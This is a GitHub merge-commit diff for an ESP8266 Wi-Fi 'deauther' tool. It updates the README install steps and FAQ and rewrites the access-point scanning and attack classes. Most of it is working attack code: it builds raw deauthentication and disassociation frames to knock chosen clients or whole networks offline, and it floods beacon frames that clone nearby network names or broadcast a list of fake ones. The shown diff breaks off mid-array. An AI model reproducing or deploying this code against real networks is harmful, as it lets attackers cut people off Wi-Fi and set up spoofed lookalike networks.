Merge pull request #76 from spacehuhn/testing

Merge Testing Branch
This commit is contained in:
Stefan Kremser
2017-03-04 18:13:56 +01:00
committed by GitHub
34 changed files with 3408 additions and 563 deletions

View File

@@ -100,12 +100,20 @@ It doesnt matter which board you use, as long as it has an ESP8266 on it.
**don't forget to save!** **don't forget to save!**
**12** Download and open `esp8266_deauther` > `esp8266_deauther.ino` in Arduino **12** Download the project
**13** Select your ESP8266 board at `Tools` > `Board` and the right port at `Tools` > `Port` **13** Go to the SDK_fix folder of this project
**14** Copy ESP8266WiFi.cpp and ESP8266WiFi.h
**15** Past these files here `packages` > `esp8266` > `hardware` > `esp8266` > `2.0.0` > `libraries` > `ESP8266WiFi` > `src`
**16** Open `esp8266_deauther` > `esp8266_deauther.ino` in Arduino
**17** Select your ESP8266 board at `Tools` > `Board` and the right port at `Tools` > `Port`
If no port shows up you may have to reinstall the drivers. If no port shows up you may have to reinstall the drivers.
**14** Upload! **18** Upload!
**Your ESP8266 Deauther is now ready!** **Your ESP8266 Deauther is now ready!**
@@ -134,13 +142,13 @@ Happy hacking :)
## FAQ ## FAQ
**Could it deauth multiple APs in the range?** **Could it auto-deauth all APs in the range?**
It definitely could! But I will not implement this 'feature' for ethical and legal reasons. Yes, but I will not implement this 'feature' for ethical and legal reasons.
**Can it sniff handshakes?** **Can it sniff handshakes?**
The ESP8266 has a promiscuous mode in which you can sniff nearly all packets, but handshake packets are dropped and there is no other way to get them with the functions provided by the SDK. The ESP8266 has a promiscuous mode in which you can sniff packets, but handshake packets are dropped and there is no other way to get them with the functions provided by the SDK.
Maybe someone will find a way around this barrier but I wasn't able to. Maybe someone will find a way around this barrier but I wasn't able to.
**espcomm_sync failed/espcomm_open when uploading** **espcomm_sync failed/espcomm_open when uploading**
@@ -152,7 +160,7 @@ Which drivers you need depends on the board, most boards use a cp2102, cp2104 or
**AP scan doesn't work** **AP scan doesn't work**
There is a reported issue with the Internet Explorer: https://github.com/spacehuhn/esp8266_deauther/issues/5 There is a reported issue on this: https://github.com/spacehuhn/esp8266_deauther/issues/5
Try out switching the browser or open the website with another device. Try out switching the browser or open the website with another device.
**Deauth attack won't work** **Deauth attack won't work**

View File

@@ -5,20 +5,73 @@ APScan::APScan(){
} }
bool APScan::start(){ bool APScan::start(){
if(debug){
Serial.println("starting AP scan...");
Serial.println("MAC - Ch - RSSI - Encrypt. - SSID - Hidden");// - Vendor");
}
aps._clear(); aps._clear();
selected = -1; for(int i=0;i<maxAPScanResults;i++) selected[i] = false;
results = WiFi.scanNetworks(); results = WiFi.scanNetworks(false, settings.apScanHidden); // lets scanNetworks return hidden APs. (async = false & show_hidden = true)
for(int i=0;i<results && i<maxResults;i++){ for(int i=0;i<results && i<maxAPScanResults;i++){
Mac _ap; Mac _ap;
_ap.set(WiFi.BSSID(i)[0],WiFi.BSSID(i)[1],WiFi.BSSID(i)[2],WiFi.BSSID(i)[3],WiFi.BSSID(i)[4],WiFi.BSSID(i)[5]); _ap.set(WiFi.BSSID(i)[0],WiFi.BSSID(i)[1],WiFi.BSSID(i)[2],WiFi.BSSID(i)[3],WiFi.BSSID(i)[4],WiFi.BSSID(i)[5]);
aps.add(_ap); aps.add(_ap);
channels[i] = WiFi.channel(i); channels[i] = WiFi.channel(i);
rssi[i] = WiFi.RSSI(i); rssi[i] = WiFi.RSSI(i);
getEncryption(WiFi.encryptionType(i)).toCharArray(encryption[i],5); encryption[i] = WiFi.encryptionType(i);
WiFi.SSID(i).toCharArray(names[i],33); hidden[i] = WiFi.isHidden(i);
data_getVendor(WiFi.BSSID(i)[0],WiFi.BSSID(i)[1],WiFi.BSSID(i)[2]).toCharArray(vendors[i],9); String _ssid = WiFi.SSID(i);
_ssid.replace("\"","\\\"");
_ssid.toCharArray(names[i],33);
//data_getVendor(WiFi.BSSID(i)[0],WiFi.BSSID(i)[1],WiFi.BSSID(i)[2]).toCharArray(vendors[i],9);
if(debug){
_ap._print();
Serial.print(" - ");
Serial.print(channels[i]);
Serial.print(" - ");
Serial.print(rssi[i]);
Serial.print(" - ");
Serial.print(getEncryption(encryption[i]));
Serial.print(" - ");
Serial.print(names[i]);
Serial.print(" - ");
Serial.print(hidden[i]);
//Serial.print(" - ");
//Serial.print(vendors[i]);
Serial.println();
}
} }
//for debugging the APScan crash bug
/*if(debug){
for(int i=results;i<maxAPScanResults;i++){
Mac _ap;
_ap.set(random(255),random(255),random(255),random(255),random(255),random(255));
aps.add(_ap);
channels[i] = random(1,12);
rssi[i] = random(-30,-90);
encryption[i] = ENC_TYPE_NONE;
String _ssid = "test_dbeJwq3tPtJsuWtgULgShD9dxXV";
_ssid.toCharArray(names[i],33);
_ap._print();
Serial.print(" - ");
Serial.print(channels[i]);
Serial.print(" - ");
Serial.print(rssi[i]);
Serial.print(" - ");
Serial.print(getEncryption(encryption[i]));
Serial.print(" - ");
Serial.print(names[i]);
Serial.println();
results++;
}
}*/
if(debug) Serial.println("scan done");
if(debug) Serial.println(getResults());
return true; return true;
} }
@@ -39,46 +92,87 @@ String APScan::getEncryption(int code){
case ENC_TYPE_AUTO: case ENC_TYPE_AUTO:
return "WPA*"; return "WPA*";
break; break;
} }
return "?";
} }
String APScan::getAPName(int num){ return names[num]; } String APScan::getAPName(int num){
String APScan::getAPEncryption(int num){ return encryption[num]; } if(isHidden(num)) return "* Hidden SSID *";
String APScan::getAPVendor(int num){ return vendors[num]; } return names[num];
String APScan::getAPMac(int num){ return aps._get(num).toString(); }
String APScan::getAPSelected(int num){
if(selected == num) return "true";
else return "false";
} }
String APScan::getAPEncryption(int num){ return getEncryption(encryption[num]); }
//String APScan::getAPVendor(int num){ return vendors[num]; }
String APScan::getAPMac(int num){ return aps._get(num).toString(); }
bool APScan::getAPSelected(int num){ return selected[num]; }
bool APScan::isHidden(int num){ return hidden[num]; }
int APScan::getAPRSSI(int num){ return rssi[num]; } int APScan::getAPRSSI(int num){ return rssi[num]; }
int APScan::getAPChannel(int num){ return channels[num]; } int APScan::getAPChannel(int num){ return channels[num]; }
Mac APScan::getTarget(){ int APScan::getFirstTarget(){
return aps._get(selected); for(int i=0;i<maxAPScanResults;i++){
if(isSelected(i)) return i;
}
return -1;
} }
String APScan::getResults(){ String APScan::getResults(){
if(debug) Serial.print("getting AP scan result JSON ");
String json = "{ \"aps\":[ "; String json = "{ \"aps\":[ ";
for(int i=0;i<results && i<maxResults;i++){ for(int i=0;i<results && i<maxAPScanResults;i++){
if(debug) Serial.print(".");
json += "{"; json += "{";
json += "\"id\": "+(String)i+","; json += "\"i\":"+(String)i+",";
json += "\"channel\": "+(String)getAPChannel(i)+","; json += "\"c\":"+(String)getAPChannel(i)+",";
json += "\"mac\": \""+getAPMac(i)+"\","; json += "\"m\":\""+getAPMac(i)+"\",";
json += "\"ssid\": \""+getAPName(i)+"\","; json += "\"ss\":\""+getAPName(i)+"\",";
json += "\"rssi\": "+(String)getAPRSSI(i)+","; json += "\"r\":"+(String)getAPRSSI(i)+",";
json += "\"encryption\": \""+getAPEncryption(i)+"\","; json += "\"e\":"+(String)encryption[i]+",";
json += "\"vendor\": \""+getAPVendor(i)+"\","; //json += "\"v\":\""+getAPVendor(i)+"\",";
json += "\"selected\": "+getAPSelected(i); json += "\"se\":"+(String)getAPSelected(i);
json += "}"; json += "}";
if((i!=results-1) && (i!=maxResults-1)) json += ","; if((i!=results-1) && (i!=maxAPScanResults-1)) json += ",";
} }
json += "] }"; json += "] }";
if(debug){
Serial.println(json);
Serial.println("done");
}
return json;
}
String APScan::getResult(int i){
if(debug) Serial.print("getting AP scan result JSON for ID " + String(i));
String json = "{ \"aps\":[ ";
if(debug) Serial.print(".");
json += "{";
json += "\"i\":"+(String)i+",";
json += "\"c\":"+(String)getAPChannel(i)+",";
json += "\"m\":\""+getAPMac(i)+"\",";
json += "\"ss\":\""+getAPName(i)+"\",";
json += "\"r\":"+(String)getAPRSSI(i)+",";
json += "\"e\":"+(String)encryption[i]+",";
//json += "\"v\":\""+getAPVendor(i)+"\",";
json += "\"se\":"+(String)getAPSelected(i);
json += "}";
json += "] }";
if(debug){
Serial.println(json);
Serial.println("done");
}
return json; return json;
} }
void APScan::select(int num){ void APScan::select(int num){
if(selected != num) selected = num; if(debug) Serial.println("seect "+(String)num+" - "+!selected[num]);
else selected = -1; if(selected[num]){
selected[num] = false;
selectedSum--;
}else{
selected[num] = true;
selectedSum++;
}
} }
bool APScan::isSelected(int num){
return selected[num];
}

View File

@@ -1,13 +1,17 @@
#ifndef APScan_h #ifndef APScan_h
#define APScan_h #define APScan_h
#define maxResults 80 #define maxAPScanResults 30
#include "ESP8266WiFi.h" #include <ESP8266WiFi.h>
#include "Mac.h" #include "Mac.h"
#include "MacList.h" #include "MacList.h"
#include "Settings.h"
extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third); extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third);
extern const bool debug;
extern Settings settings;
class APScan{ class APScan{
public: public:
@@ -15,29 +19,34 @@ class APScan{
bool start(); bool start();
String getResults(); String getResults();
String getResult(int i);
void select(int num); void select(int num);
String getAPName(int num); String getAPName(int num);
String getAPEncryption(int num); String getAPEncryption(int num);
String getAPVendor(int num); //String getAPVendor(int num);
String getAPMac(int num); String getAPMac(int num);
String getAPSelected(int num); bool getAPSelected(int num);
bool isHidden(int num);
int getAPRSSI(int num); int getAPRSSI(int num);
int getAPChannel(int num); int getAPChannel(int num);
Mac getTarget(); int getFirstTarget();
bool isSelected(int num);
int results = 0; int results = 0;
int selected = -1; int selectedSum;
private:
MacList aps; MacList aps;
int channels[maxResults]; private:
int rssi[maxResults]; int channels[maxAPScanResults];
char names[maxResults][33]; int rssi[maxAPScanResults];
char encryption[maxResults][5]; char names[maxAPScanResults][33];
char vendors[maxResults][9]; int encryption[maxAPScanResults];
bool hidden[maxAPScanResults];
String getEncryption(int code); String getEncryption(int code);
bool selected[maxAPScanResults];
}; };
#endif #endif

View File

@@ -1,319 +1,313 @@
#include "Attack.h" #include "Attack.h"
Attack::Attack(){ Attack::Attack(){
for(int i=0;i<attackNum;i++){
stati[i] = "ready";
running[i] = false;
previousMillis[i] = 0;
}
}
void Attack::generate(int num){
randomSeed(os_random()); randomSeed(os_random());
uint8_t randomMac[6] = {0x00,0x01,0x02,0x00,0x00,0x00};
//generate all beacons
if(num == -1){
for(int i=0;i<randomBeacons;i++){
getRandomVendorMac(randomMac);
for(int h=0;h<SSIDLen;h++) beaconSSIDs[i][h] = random(32,126); //see: https://www.arduino.cc/en/Reference/ASCIIchart
for(int h=0;h<6;h++) beaconMACs[i][h] = randomMac[h];
beaconNumbers[i] = random(100,255);
//beaconChannels[i] = random(1,12);
//Serial.println(data_getVendor(randomMac[0],randomMac[1],randomMac[2]));
}
}
//generate specific beacon
else if(num>=0 && num<=randomBeacons){
getRandomVendorMac(randomMac);
for(int h=0;h<SSIDLen;h++) beaconSSIDs[num][h] = random(32,126); //see: https://www.arduino.cc/en/Reference/ASCIIchart
for(int h=0;h<6;h++) beaconMACs[num][h] = randomMac[h];
beaconNumbers[num] = random(100,255);
//beaconChannels[num] = random(1,12);
//Serial.println(data_getVendor(randomMac[0],randomMac[1],randomMac[2]));
}
} }
bool Attack::send(uint8_t buf[], int len){ void Attack::generate(){
delay(1); if(debug) Serial.print("generating Macs...");
if(wifi_send_pkt_freedom(buf, len, 0) == -1){
Serial.print(packetSize); Mac _randomBeaconMac;
Serial.print(" : "); uint8_t _randomMacBuffer[6];
PrintHex8(packet, packetSize); beaconAdrs._clear();
Serial.println("");
for(int i=0;i<macListLen;i++) channels[i] = random(1,12);
do{
getRandomVendorMac(_randomMacBuffer);
for(int i=0;i<6;i++) _randomBeaconMac.setAt(_randomMacBuffer[i],i);
}while(beaconAdrs.add(_randomBeaconMac) >= 0);
if(debug) Serial.println("done");
}
void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason){
packetSize = 0;
for(int i=0;i<sizeof(deauthPacket);i++){
packet[i] = deauthPacket[i];
packetSize++;
}
for(int i=0;i<6;i++){
//set target (client)
packet[4+i] = _client._get(i);
//set source (AP)
packet[10+i] = packet[16+i] = _ap._get(i);
}
//set type
packet[0] = type;
packet[24] = reason;
}
void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt){
packetSize = 0;
int ssidLen = _ssid.length();
if(ssidLen>32) ssidLen = 32;
for(int i=0;i<sizeof(beaconPacket_header);i++){
packet[i] = beaconPacket_header[i];
packetSize++;
}
for(int i=0;i<6;i++){
//set source (AP)
packet[10+i] = packet[16+i] = _ap._get(i);
}
packet[packetSize] = 0x00;
packetSize++;
packet[packetSize] = ssidLen;
packetSize++;
for(int i=0;i<ssidLen;i++){
packet[packetSize] = _ssid[i];
packetSize++;
}
for(int i=0;i<sizeof(beaconPacket_end);i++){
packet[packetSize] = beaconPacket_end[i];
packetSize++;
}
packet[packetSize] = _ch;
packetSize++;
if(encrypt){
for(int i=0;i<sizeof(beaconWPA2tag);i++){
packet[packetSize] = beaconWPA2tag[i];
packetSize++;
}
}
}
bool Attack::send(){
if(wifi_send_pkt_freedom(packet, packetSize, 0) == -1){
/*
if(debug){
Serial.print(packetSize);
Serial.print(" : ");
PrintHex8(packet, packetSize);
Serial.println("");
}
*/
return false; return false;
}else return true;
}
void Attack::start(int num){
if(!running[num]){
running[num] = true;
stati[num] = "starting";
switch(num){
case 0: //deauth selected
running[1] = false;
stati[1] = "ready";
//set Mac adresses
for(int i=0;i<6;i++){
deauthPacket[10+i] = deauthPacket[16+i] = apScan.getTarget()._get(i);
}
break;
case 1: //deauth broadcast
running[0] = false;
stati[0] = "ready";
for(int i=0;i<6;i++){
deauthPacket[4+i] = 0xFF;
deauthPacket[10+i] = deauthPacket[16+i] = apScan.getTarget()._get(i);
}
break;
case 2: //beacon
running[3] = false;
stati[3] = "ready";
break;
case 3: //random beacon
running[2] = false;
stati[2] = "ready";
break;
default:
break;
}
}else{
running[num] = false;
stati[num] = "ready";
} }
} delay(1); //less packets are beeing dropped
return true;
String Attack::getResults(){
if(apScan.selected < 0) stati[0] = stati[1] = stati[2] = "no AP";
String json = "{ \"aps\": [";
json += "\""+apScan.getAPName(apScan.selected)+"\"";
json += "], \"clients\": [";
int selectedClientsNum = 0;
for(int i=0;i<clientScan.results;i++){
if(clientScan.getClientSelected(i)){
json += "\""+clientScan.getClientMac(i).toString()+" "+clientScan.getClientVendor(i)+" - "+clientScan.getClientName(i)+"\",";
selectedClientsNum++;
}
}
if(selectedClientsNum == 0) stati[0] = "no client";
else json.remove(json.length()-1);
json += "], \"attacks\": [";
for(int i=0;i<attackNum;i++){
json += "{";
json += "\"name\": \""+attackNames[i]+"\",";
json += "\"status\": \""+stati[i]+"\",";
json += "\"running\": "+(String)running[i];
json += "}";
if(i < attackNum-1) json += ",";
}
json += "] }";
return json;
} }
void Attack::run(){ void Attack::run(){
currentMillis = millis(); unsigned long currentMillis = millis();
/* =============== Deauth Attack =============== */
if(isRunning[0] && currentMillis-prevTime[0] >= 1000){
if(debug) Serial.print("running "+(String)attackNames[0]+" attack");
prevTime[0] = millis();
for(int a=0;a<apScan.results;a++){
if(apScan.isSelected(a)){
Mac _ap;
int _ch = apScan.getAPChannel(a);
_ap.setMac(apScan.aps._get(a));
if(running[0]){//deauth all wifi_set_channel(_ch);
if((currentMillis - previousMillis[0]) >= 1000/deauthsPerSecond){
int clientsSelected = 0; int _selectedClients = 0;
for(int i=0;i<clientScan.results;i++){
for(int i=0;i<clientScan.results;i++){ if(clientScan.getClientSelected(i)){
_selectedClients++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
}
}
if(clientScan.getClientSelected(i)){ if(_selectedClients == 0){
clientsSelected++; Mac _client;
_client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF);
//set Mac adresses buildDeauth(_ap, _client, 0xc0, 0x01 );
for(int h=0;h<6;h++){ for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
deauthPacket[4+h] = clientScan.getClientMac(i)._get(h);
deauthPacket[10+h] = deauthPacket[16+h] = apScan.getTarget()._get(h); buildDeauth(_ap, _client, 0xa0, 0x01 );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
}
}
}
stati[0] = (String)packetsCounter[0]+"pkts/s";
packetsCounter[0] = 0;
if(debug) Serial.println(" done");
if(settings.attackTimeout > 0){
attackTimeoutCounter[0]++;
if(attackTimeoutCounter[0] > settings.attackTimeout) stop(1);
}
}
/* =============== Beacon clone Attack =============== */
if(isRunning[1] && currentMillis-prevTime[1] >= 100){
if(debug) Serial.print("running "+(String)attackNames[1]+" attack");
prevTime[1] = millis();
for(int a=0;a<apScan.results;a++){
if(apScan.isSelected(a) && !apScan.isHidden(a)){
String _ssid = apScan.getAPName(a);
int _ssidLen = _ssid.length();
int _restSSIDLen = 32 - _ssidLen;
//int _ch = apScan.getAPChannel(a);
//wifi_set_channel(_ch);
for(int c=0;c<macListLen/apScan.selectedSum;c++){
String _apName = _ssid;
int _ch = channels[c];
if(c < _restSSIDLen) for(int d=0; d < _restSSIDLen-c; d++) _apName += " ";//e.g. "SAMPLEAP "
else if(c < _restSSIDLen*2){
_apName = " "+_apName;
for(int d=0;d<(_restSSIDLen-1)-c/2;d++) _apName += " ";//e.g. " SAMPLEAP "
}else if(c < _restSSIDLen*3){
_apName = "."+_apName;
for(int d=0;d<(_restSSIDLen-1)-c/3;d++) _apName += " ";//e.g. ".SAMPLEAP "
} else{
for(int d=0; d < _restSSIDLen-2; d++) _apName += " ";
_apName += (String)c;//e.g. "SAMPLEAP 78"
} }
//send deauth frame buildBeacon(beaconAdrs._get(c),_apName,_ch,apScan.getAPEncryption(a) != "none");
deauthPacket[0] = 0xc0;
if(send(deauthPacket, 26)) packetsCounter[0]++;
//send disassociate frame
deauthPacket[0] = 0xa0;
if(send(deauthPacket, 26)) packetsCounter[0]++;
previousMillis[0] = millis();
if(send()) packetsCounter[1]++;
} }
} }
if(clientsSelected == 0) running[0] = false;
} }
if(currentMillis - previousSecond[0] >= 1000){ stati[1] = (String)(packetsCounter[1]*10)+"pkts/s";
stati[0] = (String)packetsCounter[0]+"pkts/s"; packetsCounter[1] = 0;
packetsCounter[0] = 0; macListChangeCounter++;
previousSecond[0] = millis(); if(macListChangeCounter/10 >= macChangeInterval && macChangeInterval > 0){
//Serial.println(""); generate();
macListChangeCounter = 0;
} }
if(debug) Serial.println(" done ");
} if(settings.attackTimeout > 0){
if(running[1]){//deauth selected attackTimeoutCounter[1]++;
if((currentMillis - previousMillis[1]) >= 1000/deauthsPerSecond){ if(attackTimeoutCounter[1]/10 > settings.attackTimeout) stop(1);
//send deauth
deauthPacket[0] = 0xc0;
if(wifi_send_pkt_freedom(deauthPacket, 26, 0) == -1){/*
Serial.print(packetSize);
Serial.print(" : ");
PrintHex8(packet, packetSize);
Serial.println("");*/
}else packetsCounter[1]++;
delay(1);
//send disassociate
deauthPacket[0] = 0xa0;
if(wifi_send_pkt_freedom(deauthPacket, 26, 0) == -1){/*
Serial.print(packetSize);
Serial.print(" : ");
PrintHex8(packet, packetSize);
Serial.println("");*/
}else packetsCounter[1]++;
previousMillis[1] = millis();
} }
if(currentMillis - previousSecond[1] >= 1000){
stati[1] = (String)packetsCounter[1]+"pkts/s";
packetsCounter[1] = 0;
previousSecond[1] = millis();
//Serial.println("");
}
} }
if(running[2] || running[3]){//beacon spam /* =============== Beacon list Attack =============== */
if(isRunning[2] && currentMillis-prevTime[2] >= 100){
if(debug) Serial.print("running "+(String)attackNames[2]+" attack");
prevTime[2] = millis();
for(int a=0;a<ssidList.len;a++){
String _ssid = ssidList.get(a);
int _ch = channels[a];
if((currentMillis - previousMillis[3]) >= 1000/beaconPerSecond){ buildBeacon(beaconAdrs._get(a),_ssid,_ch,settings.attackEncrypted);
previousMillis[3] = millis();
randomBeaconCounter = 0;
for(int i=0;i<randomBeacons;i++){ if(send()) packetsCounter[2]++;
//unsigned long startTime = millis();
randomBeaconCounter++;
generateBeaconPacket();
if(wifi_send_pkt_freedom(packet, packetSize, 0) == -1){/*
Serial.print(packetSize);
Serial.print(" : ");
PrintHex8(packet, packetSize);
Serial.println("");*/
}else packetsCounter[3]++;
delay(1/*((1000/beaconPerSecond)/randomBeacons)-1/*(millis()-startTime)*/);
}
} }
if(currentMillis - previousSecond[3] >= 1000){ stati[2] = (String)(packetsCounter[2]*10)+"pkts/s";
if(running[3]) stati[3] = (String)packetsCounter[3]+"pkts/s"; packetsCounter[2] = 0;
else stati[2] = (String)packetsCounter[3]+"pkts/s"; /*macListChangeCounter++;
packetsCounter[3] = 0; if(macListChangeCounter/10 >= macChangeInterval && macChangeInterval > 0){
previousSecond[3] = millis(); generate();
macListChangeCounter = 0;
}*/
if(debug) Serial.println("done");
if(settings.attackTimeout > 0){
attackTimeoutCounter[2]++;
if(attackTimeoutCounter[2]/10 > settings.attackTimeout) stop(2);
} }
} }
} }
void Attack::generateBeaconPacket(){ void Attack::start(int num){
if(!isRunning[num]){
isRunning[num] = true;
stati[num] = "starting";
prevTime[num] = millis();
attackTimeoutCounter[num] = 0;
if(debug) Serial.println("starting "+(String)attackNames[num]+" attack");
if(num == 1 && isRunning[2]) stop(2);
else if(num == 2 && isRunning[1]) stop(1);
}else stop(num);
}
if(currentMillis - previousRandomBeaconMillis >= randomBeaconChange*1000){ void Attack::stop(int num){
generate(oldRandomBeacon); if(isRunning[num]){
//Serial.println("generated new beacon"+(String)oldRandomBeacon); if(debug) Serial.println("stopping "+(String)attackNames[num]+" attack");
oldRandomBeacon++; isRunning[num] = false;
if(oldRandomBeacon == randomBeacons) oldRandomBeacon = 0; stati[num] = "ready";
previousRandomBeaconMillis = currentMillis; prevTime[num] = millis();
} }
packetSize = 0;
for(int i=0;i<sizeof(beaconPacket_header);i++) packet[i] = beaconPacket_header[i];
packetSize += sizeof(beaconPacket_header);
if(running[2]){ //target spam
String apName = apScan.getAPName(apScan.selected);
//adds spaces to the AP-SSID if the name length is smaller then the max size of 32
int _restNameLen = SSIDLen - apName.length();
if(randomBeaconCounter < _restNameLen) for(int i=0;i<_restNameLen-randomBeaconCounter;i++) apName += " ";//e.g. "SAMPLEAP "
else if(randomBeaconCounter < _restNameLen*2){
apName = "."+apName;
for(int i=0;i<(_restNameLen-1)-randomBeaconCounter/2;i++) apName += " ";//e.g. ".SAMPLEAP "
}
else apName += " "+(String)beaconNumbers[randomBeaconCounter];//e.g. "SAMPLEAP 329"
int _ssidLen = apName.length();
//set SSID size
packet[packetSize] = 0x00;
packet[packetSize+1] = _ssidLen;
packetSize += 2;
//set SSID
for(int i=0;i<_ssidLen;i++) packet[packetSize+i] = apName[i];
packetSize += _ssidLen;
if(apScan.getAPEncryption(apScan.selected) == "WPA2" ||
apScan.getAPEncryption(apScan.selected) == "WPA" ||
apScan.getAPEncryption(apScan.selected) == "WPA*"){
//set RSN tag
for(int i=0;i<sizeof(beaconWPA2tag);i++) packet[packetSize+i] = beaconWPA2tag[i];
packetSize += sizeof(beaconWPA2tag);
}
}else { //random spam
//set SSID size
packet[packetSize] = 0x00;
packet[packetSize+1] = (uint8_t)SSIDLen;
packetSize += 2;
//set SSID
for(int i=0;i<SSIDLen;i++) packet[packetSize+i] = beaconSSIDs[randomBeaconCounter][i];
packetSize += SSIDLen;
}
for(int i=0;i<sizeof(beaconPacket_end);i++) packet[packetSize+i] = beaconPacket_end[i];
packetSize += sizeof(beaconPacket_end);
//set MAC
for(int i=0;i<6;i++) packet[10+i] = packet[16+i] = beaconMACs[randomBeaconCounter][i];
} }
void Attack::stopAll(){ void Attack::stopAll(){
for(int i=0;i<attackNum;i++){ for(int i=0;i<attacksNum;i++) stop(i);
running[i] = false;
stati[i] = "ready";
}
} }
void Attack::stop(int num){
if(num>=0 && num<attackNum){ String Attack::getResults(){
running[num] = false; if(debug) Serial.print("getting attacks JSON...");
stati[num] = "ready";
for(int i=0;i<attacksNum;i++) if(!isRunning[i]) stati[i] = "ready";
if(apScan.getFirstTarget() < 0) stati[0] = stati[1] = "no AP";
if(ssidList.len < 1) stati[2] = "no SSID";
int _selected;
String json = "{ \"aps\": [";
_selected = 0;
for(int i=0;i<apScan.results;i++){
if(apScan.isSelected(i)){
json += "\""+apScan.getAPName(i)+"\",";
_selected++;
}
} }
if(_selected > 0) json.remove(json.length()-1);
json += "], \"clients\": [";
_selected = 0;
for(int i=0;i<clientScan.results;i++){
if(clientScan.getClientSelected(i)){
json += "\""+clientScan.getClientMac(i).toString()+" "+clientScan.getClientVendor(i)+" - "+clientScan.getClientName(i)+"\",";
_selected++;
}
}
if(_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
else json.remove(json.length()-1);
json += "], \"attacks\": [";
for(int i=0;i<attacksNum;i++){
json += "{";
json += "\"name\": \""+attackNames[i]+"\",";
json += "\"status\": \""+stati[i]+"\",";
json += "\"running\": "+(String)isRunning[i]+"";
json += "}";
if(i != attacksNum-1) json += ",";
}
json += "],";
json += "\"ssid\": [";
for(int i=0;i<ssidList.len;i++){
json += "\""+ssidList.get(i)+"\"";
if(i != ssidList.len-1) json += ",";
}
json += "]";
json += "}";
if(debug){
Serial.println(json);
Serial.println("done ");
}
return json;
} }

View File

@@ -1,7 +1,7 @@
#ifndef Attack_h #ifndef Attack_h
#define Attack_h #define Attack_h
#include "ESP8266WiFi.h" #include <ESP8266WiFi.h>
extern "C" { extern "C" {
#include "user_interface.h" #include "user_interface.h"
@@ -11,49 +11,57 @@ extern "C" {
#include "MacList.h" #include "MacList.h"
#include "APScan.h" #include "APScan.h"
#include "ClientScan.h" #include "ClientScan.h"
#include "Settings.h"
#include "SSIDList.h"
#define attackNum 4 //number of defined attacks #define attacksNum 3
#define macListLen 64
#define deauthsPerSecond 10 //number of deauthentication & disassociation frames sent per second per target. #define macChangeInterval 4
#define beaconPerSecond 10 //number of beacon frames sent per second
#define randomBeacons 80 //number of generated beacon frames
#define SSIDLen 32 //SSID length of random generated APs (random beacon spam)
#define randomBeaconChange 3 //time in seconds after new beacon frames are generated
#define beaconChannel 10 //channel to send beacon frames on (only for the packet bytes, it will actually sent on the current channel)
extern void PrintHex8(uint8_t *data, uint8_t length); extern void PrintHex8(uint8_t *data, uint8_t length);
extern void getRandomVendorMac(uint8_t *buf); extern void getRandomVendorMac(uint8_t *buf);
extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third); extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third);
extern const bool debug;
extern APScan apScan; extern APScan apScan;
extern ClientScan clientScan; extern ClientScan clientScan;
extern Settings settings;
extern SSIDList ssidList;
class Attack class Attack
{ {
public: public:
Attack(); Attack();
void generate(int num); void generate();
void start(int num);
String getResults();
void run(); void run();
void stopAll(); void start(int num);
void stop(int num); void stop(int num);
void stopAll();
String getResults();
private: private:
void generateBeaconPacket();
bool send(uint8_t buf[], int len);
const String attackNames[attackNum] = {"deauth selected","deauth all","beacon spam","random beacon spam"};
String stati[attackNum];
int packetsCounter[attackNum];
bool running[attackNum];
unsigned long previousMillis[attackNum];
unsigned long previousSecond[attackNum];
unsigned long previousRandomBeaconMillis;
unsigned long currentMillis = 0;
void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason);
void buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt);
bool send();
//attack declarations
const String attackNames[attacksNum] = {"deauth","beacon (clone)","beacon (list)"};
//attack infos
String stati[attacksNum];
unsigned int packetsCounter[attacksNum];
bool isRunning[attacksNum];
MacList beaconAdrs;
//packet buffer
uint8_t packet[128];
int packetSize;
//timestamp for running every attack
unsigned long prevTime[attacksNum];
//packet declarations
uint8_t deauthPacket[26] = { uint8_t deauthPacket[26] = {
/* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate) /* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate)
/* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that) /* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that)
@@ -64,39 +72,25 @@ class Attack
/* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason) /* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason)
}; };
uint8_t beaconPacket_header[36] = {
uint8_t beaconSSIDs[randomBeacons][SSIDLen]; /* 0 - 1 */ 0x80, 0x00,
uint8_t beaconMACs[randomBeacons][6]; /* 2 - 3 */ 0x00, 0x00, //beacon
//uint8_t beaconChannels[randomBeacons]; /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination: broadcast
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
uint8_t beaconNumbers[randomBeacons]; /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
/* 22 - 23 */ 0xc0, 0x6c,
uint8_t packet[128]; /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
int packetSize; /* 32 - 33 */ 0x64, 0x00, //0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
/* 34 - 35 */ 0x01, 0x04
int randomBeaconCounter = 0; /*,0x00, 0x06, //SSID size
int oldRandomBeacon = 0; //first beacon to regenerated after >>randomBeaconChange<< seconds 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID
>>beaconPacket_end<<*/
uint8_t beaconPacket_header[36] = {
